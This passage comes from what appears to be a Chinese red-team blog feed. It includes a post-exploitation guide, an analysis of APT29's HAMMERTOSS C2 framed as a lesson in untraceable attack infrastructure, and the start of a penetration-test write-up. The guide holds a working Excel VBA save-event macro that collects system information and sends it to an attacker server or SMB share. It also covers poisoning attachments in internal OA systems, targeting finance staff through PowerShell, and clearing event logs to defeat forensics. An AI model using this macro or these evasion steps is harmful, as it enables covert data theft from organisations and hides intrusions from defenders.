class="line">$Shortcut.Save()</span><br></pre></td></tr></table></figure><p><img src="/posts/c6650469/edaf88ac-2121-3669-bdfa-9b28aff00a9c.png" alt="image.png"></p><p><a href="https://support.microsoft.com/zh-cn/office/%E5%9C%A8-outlook-%E4%B8%AD%E5%88%9B%E5%BB%BA%E5%AE%8F-ffc49e8c-0e5b-4daa-912d-e68c6c46bf27">在 Outlook 中创建宏 - Microsoft 支持</a></p><p><a href="https://xz.aliyun.com/news/9787">常见钓鱼招式-先知社区</a></p><p><strong>但本质还是需要交互，这是很不稳定的做法，更适合作为前期打点的入口。</strong></p><h4 id="真正的隐蔽方案"><a href="#真正的隐蔽方案" class="headerlink" title="真正的隐蔽方案"></a>真正的隐蔽方案</h4><p>综上四种方法，都是比较常规的。我认为这种隐蔽不叫隐蔽，只是不上线C2罢了，这和反弹一个非交互式shell有什么区别呢？它只是更慢热而已，而非所谓的贴近业务做隐蔽。它们根本没有脱离入侵者行为模型，只是少了一些被查杀的风险而已，本质还是可预测的攻击行为。</p><p> <strong>方案一：借用”内部运维平台”的业务流程做跳板</strong></p><p><strong>示例流程：</strong></p><ol><li><p>发现某内部自动化平台（如Ansible、Jumpserver、SaltStack、K8S API</p></li><li><p>在运维系统的配置中植入小段命令（或回调URL）</p></li><li><p>可用于横向部署或信息收集，且路径可继承现有的执行上下文</p><p><img src="/posts/c6650469/29ab9a44-7bcb-39b2-a292-9609cf4ba6a2.png" alt="image.png"></p></li></ol><p><strong>优势：</strong> 既没有新的连接，同时这个命令的签名也是合法应用提供的，会被自动归因为系统用户行为。</p><p> <strong>方案二：构造”数据流伪装”的隐蔽横向通信</strong></p><p><strong>示例机制：</strong> 在企业内工作人员的日常业务文档（如<strong>Excel报价单</strong>）中嵌入VBA宏，触发”保存时”事件，收集目标系统信息并通过伪装的常规流量回传，规避网络监控。<strong>用户保存文档时自动触发，无需额外交互。</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)</span><br><span class="line">    Dim cmd As String</span><br><span class="line">    Dim result As String</span><br><span class="line">    &#x27; 收集系统信息</span><br><span class="line">    cmd = &quot;cmd.exe /c whoami &amp; ipconfig &amp; tasklist&quot;</span><br><span class="line">    result = CreateObject(&quot;WScript.Shell&quot;).Exec(cmd).StdOut.ReadAll</span><br><span class="line">    </span><br><span class="line">    &#x27; 方法1：通过msxml2.xmlhttp发送HTTP</span><br><span class="line">    Dim http As Object</span><br><span class="line">    Set http = CreateObject(&quot;MSXML2.XMLHTTP&quot;)</span><br><span class="line">    http.Open &quot;POST&quot;, &quot;http://&lt;attacker_server&gt;/upload&quot;, False</span><br><span class="line">    http.setRequestHeader &quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;</span><br><span class="line">    http.Send &quot;data=&quot; &amp; EncodeBase64(result) &#x27; Base64编码数据</span><br><span class="line">    </span><br><span class="line">    &#x27; 方法2：通过WebDAV或SMB保存到共享</span><br><span class="line">    Dim fs As Object</span><br><span class="line">    Set fs = CreateObject(&quot;Scripting.FileSystemObject&quot;)</span><br><span class="line">    fs.CreateTextFile &quot;\\&lt;SMB_Server&gt;\share\env.txt&quot;, True</span><br><span class="line">    fs.Write result</span><br><span class="line">End Sub</span><br><span class="line"></span><br><span class="line">&#x27; Base64编码函数</span><br><span class="line">Private Function EncodeBase64(text As String) As String</span><br><span class="line">    Dim xml As Object</span><br><span class="line">    Set xml = CreateObject(&quot;MSXML2.DOMDocument&quot;)</span><br><span class="line">    Dim node As Object</span><br><span class="line">    Set node = xml.createElement(&quot;base64&quot;)</span><br><span class="line">    node.dataType = &quot;bin.base64&quot;</span><br><span class="line">    node.Text = text</span><br><span class="line">    EncodeBase64 = node.nodeTypedValue</span><br><span class="line">End Function</span><br></pre></td></tr></table></figure><p> 不过<strong>如果只是想拿来钓鱼放到用户的桌面</strong>，就太粗暴了，这种情况下一般<strong>需要在组织内部OA系统进行投毒，修改某些工单的附件以此污染内部的主机</strong></p><p><strong>方案三：利用打印服务&#x2F;扫描仪&#x2F;ERP插件做隐蔽数据收集与横向</strong></p><p>**打印&#x2F;扫描服务（如Spooler服务）**通常以SYSTEM权限运行，<strong>网络连接广泛</strong>（如共享打印机）。ERP插件（如SAP、Oracle E-Business Suite插件）常集成于业务流程，可访问敏感数据。</p><p>一般情况下，可以<strong>通过探活内网snmp协议展开对打印设备的入侵</strong>，很多打印机 <strong>SNMP 社区口令默认为</strong> <code>private</code> <strong>可写</strong>，你可以做这些事：</p><ul><li>利用打印日志推用户名</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">snmpwalk -v2c -c public &lt;IP&gt; .1.3.6.1.2.1.43.18.1.1.8</span><br><span class="line">→ 打印任务发起人：zhanglin.hr, lixiang.fin, huangwei.ceo</span><br></pre></td></tr></table></figure><ul><li>反向推测业务分布</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PRT-FIN-02, PRT-HR-03, PRINT-F3-CEO</span><br></pre></td></tr></table></figure><p>你可以据此判断：</p><ul><li><p>哪些业务线在哪些楼层</p></li><li><p>哪些区域有高权限使用者（CEO打印机）</p></li><li><p>某些高端设备会维护内建DNS缓存（HP、Ricoh设备），可以通过厂商MIB拉取缓存记录，从而就可以辅助识别网段边界、跳板位置、内部DNS信息</p></li></ul><p><em>（由于在这方面研究比较少，所以就不展开叙述了）</em></p><p><a href="http://hacking-printers.net/">打印服务渗透wiki</a></p><p><img src="/posts/c6650469/015aec4c-5bba-3acf-839b-dd6fbd3f0440.png" alt="image.png"></p><p><strong>方案四：利用网络设备（路由器&#x2F;无线AP）构建隐蔽持久化跳板</strong></p><p>内网中除了传统主机和服务器，<strong>企业路由器、三层交换机、无线AP等网络设备</strong>往往被安全防护系统“放过”。</p><p><strong>类比解释</strong></p><p>你是攻击者，主机是保安天天查身份证，EDR 就是摄像头在识别谁在动手。你现在如果：</p><ul><li><p>拿了个锁匠工具（Fscan、Powershell、Mimikatz）上来开门，系统会报警</p></li><li><p>用个奇怪的指令连接别人机器（WinRM&#x2F;WMI&#x2F;SMB），EDR 马上拉红</p></li><li><p>一上线 Beacon，立马就触发主机行为分析</p></li></ul><p>这时候你再看路由器：</p><ul><li><p>它每天都在发包、收包、转发、NAT，这是它的“本职工作”</p></li><li><p>它经常和上百个终端建立连接，不是异常，而是常态</p></li><li><p>它本来就开放了 SSH、Telnet、Web 管理后台，没有人会觉得“一个路由器在监听端口很奇怪”</p><p><strong>具体攻击手段也和前面的打印设备类似，区别的是它的终端远比打印设备的要完整，打印设备的PTCshell等协议在市面上已经很少有开源工具作为支持，而只要你进了路由器的后台，无论是tcpdump用户流量的trick，还是构造 NAT 映射：让它转发端口给你主控机都是隐蔽 安全的操作</strong></p></li></ul><p>你不在线，你的跳板在线；你不扫网，你的跳板在旁路做转发——<strong>这才叫真正的隐身操控</strong>。</p><h3 id="隐蔽性提升策略"><a href="#隐蔽性提升策略" class="headerlink" title="隐蔽性提升策略"></a>隐蔽性提升策略</h3><p><strong>流量打散</strong>：避免使用固定C2通道、使用多协议（HTTP、DNS、SMB over namedpipe） <strong>存储隐匿</strong>：恶意DLL注入到合法服务进程中，如svchost、spoolsv <strong>行为嵌套</strong>：伪装成定时任务或用户操作逻辑（如Outlook加载项） <strong>数据 exfil</strong>：打印队列、计划任务、截图偷发到内网SMTP或文件服务器</p><h2 id="六、攻击路径规划：情报融合与攻击路径规划"><a href="#六、攻击路径规划：情报融合与攻击路径规划" class="headerlink" title="六、攻击路径规划：情报融合与攻击路径规划"></a>六、攻击路径规划：情报融合与攻击路径规划</h2><h3 id="用户价值评估矩阵"><a href="#用户价值评估矩阵" class="headerlink" title="用户价值评估矩阵"></a>用户价值评估矩阵</h3><table><thead><tr><th>维度</th><th>评估标准</th></tr></thead><tbody><tr><td>组织地位</td><td>AD中的组织层级、管理关系</td></tr><tr><td>系统权限</td><td>对关键系统的访问权限</td></tr><tr><td>业务接触面</td><td>接触敏感业务的程度</td></tr><tr><td>技术敏感度</td><td>对安全工具的熟悉程度</td></tr><tr><td>社交价值</td><td>在组织中的影响力</td></tr></tbody></table><h3 id="基于情报的精准投递"><a href="#基于情报的精准投递" class="headerlink" title="基于情报的精准投递"></a>基于情报的精准投递</h3><p>不再是广撒网式的横向移动，而是基于用户画像的精准投递：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># 示例：针对财务部门的定向攻击</span><br><span class="line"># 1. 识别财务相关用户</span><br><span class="line">$FinanceUsers = Get-ADUser -Filter * -Properties Department | </span><br><span class="line">Where-Object &#123; $_.Department -like &quot;*财务*&quot; -or $_.Department -like &quot;*Finance*&quot; &#125;</span><br><span class="line"></span><br><span class="line"># 2. 分析其常用系统和工作模式</span><br><span class="line"># 3. 设计贴合其工作流程的载荷投递方式</span><br></pre></td></tr></table></figure><h3 id="持久化策略的业务化伪装"><a href="#持久化策略的业务化伪装" class="headerlink" title="持久化策略的业务化伪装"></a>持久化策略的业务化伪装</h3><p>基于收集到的用户行为数据，设计更加隐蔽的持久化方案：</p><p><strong>场景一：利用用户的Office使用习惯：也就是前面提到的OA投毒</strong> </p><p><strong>场景二：利用用户的软件使用模式</strong> 如果发现用户经常使用某个特定软件，可以通过DLL劫持或插件机制实现持久化，这样的行为更难被察觉。</p><p><strong><a href="https://www.freebuf.com/articles/es/439859.html">这里推荐Loki C2的思路</a></strong></p><p>Loki的攻击向量完全绕过了针对渲染器进程的全部安全加固措施。它通过劫持应用的启动脚本，直接在<strong>主进程</strong>的上下文中执行代码。由于主进程拥有与生俱来的、不受限制的Node.js权限，渲染器进程的沙盒化对此攻击毫无意义。</p><p>它通过修改应用启动脚本来完成攻击。其最精妙的设计在于init.js后门启动器，这是一个精心设计的状态机，用于管理寄生虫与宿主的生命周期。</p><h3 id="反溯源与痕迹清理"><a href="#反溯源与痕迹清理" class="headerlink" title="反溯源与痕迹清理"></a>反溯源与痕迹清理</h3><p>在深度信息收集的同时，也要考虑反溯源 </p><p><strong>行为模式伪装：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># 模拟正常用户的文件访问模式</span><br><span class="line"># 在收集信息的同时，也要访问一些正常的业务文件</span><br><span class="line">Get-ChildItem &quot;C:\Users\$env:USERNAME\Documents&quot; -Recurse |</span><br><span class="line">Get-Random -Count 5 | ForEach-Object &#123; Get-Content $_.FullName -Head 1 &#125;</span><br><span class="line"></span><br><span class="line"># 模拟正常的网络访问</span><br><span class="line">Invoke-WebRequest -Uri &quot;https://company-portal.com&quot; -UseBasicParsing</span><br></pre></td></tr></table></figure><p><strong>日志污染与清理：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 选择性清理相关日志</span><br><span class="line">wevtutil cl &quot;Windows PowerShell&quot;</span><br><span class="line">wevtutil cl &quot;Microsoft-Windows-PowerShell/Operational&quot;</span><br><span class="line"></span><br><span class="line"># 或者注入正常的日志条目来掩盖异常行为</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>可以从上面的三个方案看出来，真正隐蔽的横向和持久化不应建立在”技术规避”上，<strong>而应建立在”业务拟态”与”角色继承”上</strong>。都是把自己当成业务中的一环，思考他们平时接触的服务以及工作的逻辑，做成<strong>类似水坑攻击的打法</strong>。</p><h3 id="整体策略小结"><a href="#整体策略小结" class="headerlink" title="整体策略小结"></a>整体策略小结</h3><table><thead><tr><th>优先级</th><th>收集目标</th><th>目的</th></tr></thead><tbody><tr><td>高</td><td>用户、组、描述字段</td><td>识别高价值目标</td></tr><tr><td>高</td><td>组策略 + 共享配置</td><td>查找潜在控制路径</td></tr><tr><td>中</td><td>凭据路径、RDP记录</td><td>判断行为 + 凭据可用性</td></tr><tr><td>中</td><td>主机命名规律 + 访问痕迹</td><td>判断资产属性</td></tr><tr><td>低</td><td>SMB共享文档、日志内容</td><td>侧写业务内容</td></tr></tbody></table><p><img src="/posts/c6650469/e4bd5233-534b-3fde-aadc-64c87ad011a0.png" alt="image.png"></p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>高阶红队渗透的核心在于**从技术导向转向业务导向，从工具依赖转向思维推演，从暴力扫描转向精准定位。真正的隐蔽不是技术层面的规避，**而是业务层面的拟态。</p><p>拿到域控之后，我们<strong>要做的不是继续”攻击”，而是要成为这个网络环境中的”业务大水坑”</strong>。通过深度的用户行为分析和情报融合，我们可以构建出比任何自动化工具都要精准的攻击路径。</p><p>记住：<strong>在高阶渗透中，信息比权限更重要，理解比占领更有价值。</strong></p>]]></content>
    
    
    <summary type="html">在高阶渗透中，信息比权限更重要，理解比占领更有价值</summary>
    
    
    
    <category term="penetration" scheme="https://blog.sudo.online/categories/penetration/"/>
    
    
    <category term="Pentest" scheme="https://blog.sudo.online/tags/Pentest/"/>
    
    <category term="后渗透" scheme="https://blog.sudo.online/tags/%E5%90%8E%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>身份隐藏_无痕系列(1)</title>
    <link href="https://blog.sudo.online/posts/877fc705/"/>
    <id>https://blog.sudo.online/posts/877fc705/</id>
    <published>2025-07-29T12:47:43.000Z</published>
    <updated>2025-12-14T13:55:27.127Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前期隐蔽基建"><a href="#前期隐蔽基建" class="headerlink" title="前期隐蔽基建"></a>前期隐蔽基建</h1><p>前期身份隐蔽（Pre-Engagement OPSEC）是红队行动成败的分水岭。无论你的目标是模拟 APT 还是做攻防演练，如果在前期就暴露了身份或被溯源到了真实资产，你后续的免杀、横向、ICS 渗透都可能前功尽弃。我们可以从APT案例研究+红队基建实践两个维度系统性切入，构建一个实用专题。</p><table><thead><tr><th>维度</th><th>目标</th></tr></thead><tbody><tr><td>战术目标</td><td>学会如何在网络空间构建无法溯源、可更换的前期基础设施（域名、服务器、邮箱、CDN等</td></tr><tr><td>技术目标</td><td>理解和复现 APT 行动中的前期伪装手法（域名注册、TLS证书、WHOIS欺骗、CDN混淆、C2隧道）</td></tr><tr><td>工程目标</td><td>自建&#x2F;复用可控的匿名跳板资产体系：如 VPS 链、隐匿注册的云服务、分布式域名&#x2F;CDN中转</td></tr></tbody></table><h2 id="从APT研究案例为出发点-作为我们的参考材料与学习路线"><a href="#从APT研究案例为出发点-作为我们的参考材料与学习路线" class="headerlink" title="从APT研究案例为出发点-_-作为我们的参考材料与学习路线"></a>从APT研究案例为出发点-_-作为我们的参考材料与学习路线</h2><p>APT29</p><p>火眼报告 GET –&gt;<a href="https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf?utm_source=chatgpt.com">https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf?utm_source=chatgpt.com</a></p><p>&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</p><h3 id="HAMMERTOSS-掷锤者行动-利用公共平台实现的C2美学"><a href="#HAMMERTOSS-掷锤者行动-利用公共平台实现的C2美学" class="headerlink" title="HAMMERTOSS_ 掷锤者行动 利用公共平台实现的C2美学"></a>HAMMERTOSS_ 掷锤者行动 利用公共平台实现的C2美学</h3><p>0x01 APT29 HAMMERTOSS案例分析</p><h4 id="1-1-案例背景"><a href="#1-1-案例背景" class="headerlink" title="1.1 案例背景"></a>1.1 案例背景</h4><p>威胁组织：APT29（俄罗斯政府背景）<br>发现时间：2015年<br>主要特征：极高的OPSEC纪律性和适应性<br>活动时区：UTC+3（莫斯科时间）<br>工作模式：俄罗斯假期停止活动，工作日活跃</p><h4 id="1-2-HAMMERTOSS五阶段通信模型概要"><a href="#1-2-HAMMERTOSS五阶段通信模型概要" class="headerlink" title="1.2 HAMMERTOSS五阶段通信模型概要"></a>1.2 HAMMERTOSS五阶段通信模型概要</h4><p>C2运行完全通过合法网络服务 利用Twitter Github 以及肉鸡作为通信链<br>每天自动访问不同的 Twitter 句柄。<br>使用定时开始——在特定日期之后或仅在受害者的工作周内进行通信。<br>通过包含隐藏和加密数据的图像获取命令。<br>从肉鸡和云存储中上传的文件提取信息</p><h5 id="阶段1：Twitter句柄生成算法"><a href="#阶段1：Twitter句柄生成算法" class="headerlink" title="阶段1：Twitter句柄生成算法"></a>阶段1：Twitter句柄生成算法</h5><p>算法逻辑：<br>基名（如”Bob”） + CRC32(日期) → 1abBob52b<br>URL生成：<a href="https://twitter.com/1abBob52b">https://twitter.com/1abBob52b</a><br>特点：每日自动生成不同句柄，大量虚假账户混淆</p><h5 id="阶段2：推文中的加密参数传递"><a href="#阶段2：推文中的加密参数传递" class="headerlink" title="阶段2：推文中的加密参数传递"></a>阶段2：推文中的加密参数传递</h5><p>推文格式：Follow doctorhandbook.com #101docto<br>解析结果：</p><ul><li>URL：doctorhandbook.com（第二阶段C2地址）</li><li>偏移量：101字节</li><li>密钥片段：docto</li></ul><h5 id="GitHub-合法服务承载"><a href="#GitHub-合法服务承载" class="headerlink" title="GitHub&#x2F;合法服务承载"></a>GitHub&#x2F;合法服务承载</h5><p>利用GitHub页面托管恶意图片<br>通过IE COM对象访问，模拟正常浏览行为<br>多样化承载平台（GitHub、被攻陷网站、云存储）</p><p>关键特征分析</p><h5 id="分层混淆策略"><a href="#分层混淆策略" class="headerlink" title="分层混淆策略"></a>分层混淆策略</h5><p>Layer 1: 算法生成的大量虚假Twitter账户<br>Layer 2: 合法社交媒体&#x2F;代码托管平台中转<br>Layer 3: 图像隐写术隐藏真实载荷<br>Layer 4: 多重加密密钥分离存储</p><p>Layer 5: 云服务匿名化数据收集</p><h5 id="适应性防御机制"><a href="#适应性防御机制" class="headerlink" title="适应性防御机制"></a>适应性防御机制</h5><p>平台切换：Twitter被封锁→切换到直连变种<br>账户轮换：发现算法后可快速删除历史痕迹<br>载荷多样化：图片大小&#x2F;格式随机变化<br>时间规避：工作日激活，假期休眠</p><p>火眼：APT29 几乎<strong>总是使用反取证技术，他们监控受害者的补救工作以颠覆它们</strong>。同样，该组织似乎几乎只使用 CnC 的受感染服务器来增强其运营的安全性，并通过快速修改工具来破坏检测来维持其恶意软件的快速开发周期。这些方面使 APT29 成为我们跟踪的最有能力的 APT 组织之一。</p><h4 id="1-3-HAMMERTOSS—C2基建的变体-详细阐述"><a href="#1-3-HAMMERTOSS—C2基建的变体-详细阐述" class="headerlink" title="1.3 HAMMERTOSS—C2基建的变体 详细阐述"></a>1.3 HAMMERTOSS—C2基建的变体 详细阐述</h4><p>APT29 可能使用 HAMMERTOSS 作为其两个主要后门的备份，以执行命令<br>它们为 APT29 提供了与恶意软件通信的替代方式。开发人员似乎将这些变体命名为 <strong>uploader 和 tDiscoverer。这两个变体都是用 C# 编程语言编写的 每个变体都使用不同的方法来获取 C2 指令，要么直接访问硬编码网站，要么作为中介访问 Twitter。</strong></p><p><strong>uploader</strong>已预配置为使用硬编码服务器作为其 C2中介。它转到特定 URL 以获取具有特定文件大小的图像。<br><strong>tDiscoverer</strong> 使用额外的混淆层，首先访问 Twitter 获取 CnC URL，然后再访问该 URL 获取其目标图像。</p><p>我们将恶意软件通信过程分为<strong>五个阶段</strong>，以解释该工具如何运行、接收指令以及从受害者网络中提取信息。这些阶段包括有关 APT29 在受感染网络之外与 HAMMERTOSS 通信的信息，以及对该工具掩盖其活动的能力的简要评估。</p><ol><li><p>HAMMERTOSS 后门<strong>每天生成并查找不同的 Twitter 句柄</strong>。它使用一种算法来生成每日句柄，例如“234Bob234”，然后再尝试访问相应的 Twitter 页面。如果威胁组织没有注册当天的句柄，HAMMERTOSS 将等到第二天再寻找不同的句柄。</p></li><li><p>HAMMERTOSS 访问关联的 Twitter 帐户<strong>并查找带有 URL 和主题标签的推文，该标签指示图像文件的位置和最小大小。</strong></p></li><li><p>HAMMERTOSS <strong>访问 URL 并获取图像。</strong></p></li><li><p>图像看起来很正常，但实际上<strong>包含使用隐写术的隐藏和加密数据。</strong><br>HAMMERTOSS 解密隐藏数据以获取命令。</p></li><li><p>HAMMERTOSS 处理解密的命令，这些命令<strong>可能会指示恶意软件进行侦察、通过 PowerShell 执行命令或将数据上传到云存储服务。</strong></p></li></ol><h5 id="第一阶段详解"><a href="#第一阶段详解" class="headerlink" title="第一阶段详解"></a>第一阶段详解</h5><blockquote><ol><li>HAMMERTOSS 包含一种算法，可以生成 Twitter 句柄，告诉恶意软件在特定日期访问特定的 Twitter 句柄。</li></ol></blockquote><p>Twitter 句柄是与 Twitter 网站关联的用户 ID。例如，FireEye 的 Twitter 句柄 @FireEye 有一个 URL：<a href="https://www.twitter.com/">https://www.twitter.com/</a> fireeye。HAMMERTOSS 算法使用一个基本名称，如“Bob”，并在前面附加和预加三个 CRC32</p><p>基于当前日期的值。例如，可以是 1abBob52b，其 URL 为：hxxps:&#x2F;&#x2F;<a href="http://www.twitter.com/1abBob52b%E3%80%82">www.twitter.com/1abBob52b。</a></p><blockquote><ol start="2"><li>HAMMERTOSS 访问与其每日 Twitter 账号相关的 Twitter URL。例如，在 7 月 29 日，它可能会查找句柄 1abBob52b （hxxps:&#x2F;&#x2F;twitter.com&#x2F;1abBob52b）<br>APT29 的运营者选择在预期通信之前使用相同的算法注册特定日期的 Twitter 句柄。</li></ol></blockquote><blockquote><p>3.APT29 知道用于生成句柄的算法，并选择注册 Twitter 句柄，并在恶意软件尝试查询之前将混淆的指令发布到句柄的 URL。如果未注册特定日期的句柄，并且找不到该日期的 URL，则 HAMMERTOSS 将等到第二天尝试与另一个句柄通信。</p></blockquote><blockquote><p>4.APT29 通常将 HAMMERTOSS 配置为在某些限制内进行通信，例如仅在工作日或指定的开始日期之后检查 Twitter 句柄。这使得恶意软件能够在受害者的工作周期间融入“正常”流量，或者在激活之前保持休眠一段时间。</p></blockquote><h5 id="第二阶段详解"><a href="#第二阶段详解" class="headerlink" title="第二阶段详解"></a>第二阶段详解</h5><p>发布 URL、图像的最小文件大小和部分加密密钥</p><p><img src="/posts/877fc705/image-20250728231718693.png" alt="image-20250728231718693"></p><p>如图 是 HAMMERTOSS tDiscoverer 变体的示例，以及来自其生成的句柄之一的 Twitter 帐户页面的相应快照。在发布时，一个公开的 HAMMERTOSS 样本在 VirusTotal 中只有五个通用检测。该 Twitter 帐户处于活动状态，并包含指向网站的链接.</p><p><img src="/posts/877fc705/image-20250728232112069.png" alt="image-20250728232112069"></p><h5 id="第三阶段详解"><a href="#第三阶段详解" class="headerlink" title="第三阶段详解"></a>第三阶段详解</h5><p>访问 GitHub 下载映像</p><p>APT29 的运营商注册了一个 GitHub 页面并上传了一张图片。</p><p>接下来的打法就很细节了</p><style>.iwmhoyobmypy{zoom:33%;}</style><img src="/posts/877fc705/image-20250728233016366.png" class="iwmhoyobmypy" alt="image-20250728233016366"><p> 前面通过推文中指定的URL，继续访问并<strong>下载对应的隐写图像</strong>，那么这个时候通过HAMMERTOSS内部的解密函数加载命令，就能达成C2执行命令的效果</p><h5 id="第四阶段详解"><a href="#第四阶段详解" class="headerlink" title="第四阶段详解"></a>第四阶段详解</h5><p>基本隐写术的实现</p><p>它的隐写术并非你所想象的单单通过加载下载过来的图像并解密那么简单</p><p>实际上HAMMERTOSS 将<strong>网站内容下载到 IE 的浏览器缓存中</strong>，并在缓存中搜索至少与第 2 阶段推文中指定的<strong>偏移量一样大的任何图像。</strong></p><p>HAMMERTOSS 在第 2 阶段的推文中<strong>指定的偏移量处定位加密数据</strong>。它使用一个密钥来解密数据，<strong>该密钥由恶意软件二进制文件中的硬编码数据组成，并附加了推文中的字符。</strong></p><p>也就是说 想要解密 <strong>本质上需要推文+图片本身同时存在的隐写算法</strong>，既保证了<strong>传输安全与隐蔽性</strong>的同时 <strong>作为攻击者的你可以随时删文销户优雅撤退</strong>，这里不得不感叹毛子在红队基建方面的优雅和实用主义</p><p><img src="/posts/877fc705/image-20250801003804789.png" alt="image-20250801003804789"></p><h5 id="第-5-阶段详解"><a href="#第-5-阶段详解" class="headerlink" title="第 5 阶段详解"></a>第 5 阶段详解</h5><p>APT29 的运营商创建云存储帐户，可以从云存储服务中获取受害者的数据。</p><p>其实本质就是常规的走云上，毕竟大数据量文件的窃取很讲究网络传输的稳定性</p><p><strong>结案</strong></p><p><img src="/posts/877fc705/image-20250801003948554.png" alt="image-20250801003948554"></p>]]></content>
    
    
    <summary type="html">事了拂衣去，深藏身与名。跟进各类APT报告 学习身份隐藏红队基建</summary>
    
    
    
    <category term="research" scheme="https://blog.sudo.online/categories/research/"/>
    
    
    <category term="APT" scheme="https://blog.sudo.online/tags/APT/"/>
    
    <category term="身份隐藏" scheme="https://blog.sudo.online/tags/%E8%BA%AB%E4%BB%BD%E9%9A%90%E8%97%8F/"/>
    
  </entry>
  
  <entry>
    <title>一次组合拳</title>
    <link href="https://blog.sudo.online/posts/c15578a0/"/>
    <id>https://blog.sudo.online/posts/c15578a0/</id>
    <published>2025-06-28T12:47:43.000Z</published>
    <updated>2025-12-14T13:55:27.108Z</updated>
    
    <content type="html"><![CDATA[<h1 id="大道至简，druid弱口令-接口测试组合拳轻松拿下30w-敏感信息"><a href="#大道至简，druid弱口令-接口测试组合拳轻松拿下30w-敏感信息" class="headerlink" title="大道至简，druid弱口令+接口测试组合拳轻松拿下30w+敏感信息"></a>大道至简，druid弱口令+接口测试组合拳轻松拿下30w+敏感信息</h1><p>在某攻防演练中，我们通过大量的资产测绘以及关键薄弱点攻击，实现了<strong>对某省级大型目标</strong>从一系列弱密码以及简单的账户劫持作为入口点，打出3<strong>0w+敏感数据泄露的思路</strong>。 希望能够分享给大家，作为一个参考</p><p>‍</p><h2 id="资产测绘部分"><a href="#资产测绘部分" class="headerlink" title="资产测绘部分"></a>资产测绘部分</h2><p>一般情况下，对一个大型目标的攻防，资产测绘部分是最为重要的。</p><p>假设前期只给一个公司名，我会简单的把这个目标分为四个空间作为探测的出发点</p><ol><li><h3 id="金融空间"><a href="#金融空间" class="headerlink" title="金融空间"></a>金融空间</h3><p> 在金融空间层面，我们更多是站在企业的内里角度去做信息收集，比如通过<strong>天眼查，爱企查</strong>查询控股子公司。通过<strong>招标文件</strong>以及官网信息查询第三方供应商。通过<strong>ICP备案</strong>，查询该企业注册的一系列域名以及小程序，app资产。当然，在网络侧通过GoogleDorking等方法也是能收集到一些涉重点的敏感信息的。</p></li><li><h3 id="网络空间"><a href="#网络空间" class="headerlink" title="网络空间"></a>网络空间</h3><p> 网络空间就是常规的信息收集链条，我一般会使用灯塔或者TscanPlus作为收集资产的平台，将金融空间的前期主要域名资产导入，并进入深化的测绘。这里也推荐我自研的一个<a href="https://github.com/Sat0ru-qwq/SubDroid">轮子</a>，可以简单的对前期的域名资产做一个简单收集便于<strong>区分优先级</strong>。总而言之，这个阶段的需求就是<strong>高效的子域名扫描、DNS 查询、端口扫描、活跃性检测、指纹识别、漏洞扫描。</strong>  大范围的覆盖性扫描有助于快速定位某些文件泄露，敏感服务。</p></li><li><h3 id="业务空间"><a href="#业务空间" class="headerlink" title="业务空间"></a>业务空间</h3><p> 这个时候大部分就是根据目标类型区分，这里就以目标为例。</p><p> <strong>前期入口点：</strong></p><p> 该系统为靶标系统的旅游业业务，类似小程序的web端，主要出售一些特定主题的NFT数字产品，是一个架构简单的商城</p><p> <img src="/posts/c15578a0/20250524190827-20250524190842-08ct3am.png" alt="20250524190827"></p><p> 那么有商城的地方，就需要存储订单，是否有专门的<strong>数据库管理服务器</strong>？同时既然是某特定主题NFT产品，那么是否有<strong>别的系统作为同类型业务，出售其他NFT产品？</strong></p><p> 后续根据信息收集，找到旁站业务，其中一个是druid<strong>实时分析型数据库,</strong>  另外两个商城一个是出售ai绘画产品的存证业务，另外一个则是同主题的品牌文创数字艺术，不过交由其他企业托管。</p><p> <img src="/posts/c15578a0/image-20250524213004-7eq7p8q.png" alt="image">​</p><p> <img src="/posts/c15578a0/image-20250524214323-pb5vagh.png" alt="image"></p><p> <img src="/posts/c15578a0/image-20250524214249-rvptv42.png" alt="image"></p><p> <img src="/posts/c15578a0/image-20250524191732-wptst1p.png" alt="image"></p></li><li><h3 id="人员空间"><a href="#人员空间" class="headerlink" title="人员空间"></a>人员空间</h3><p> 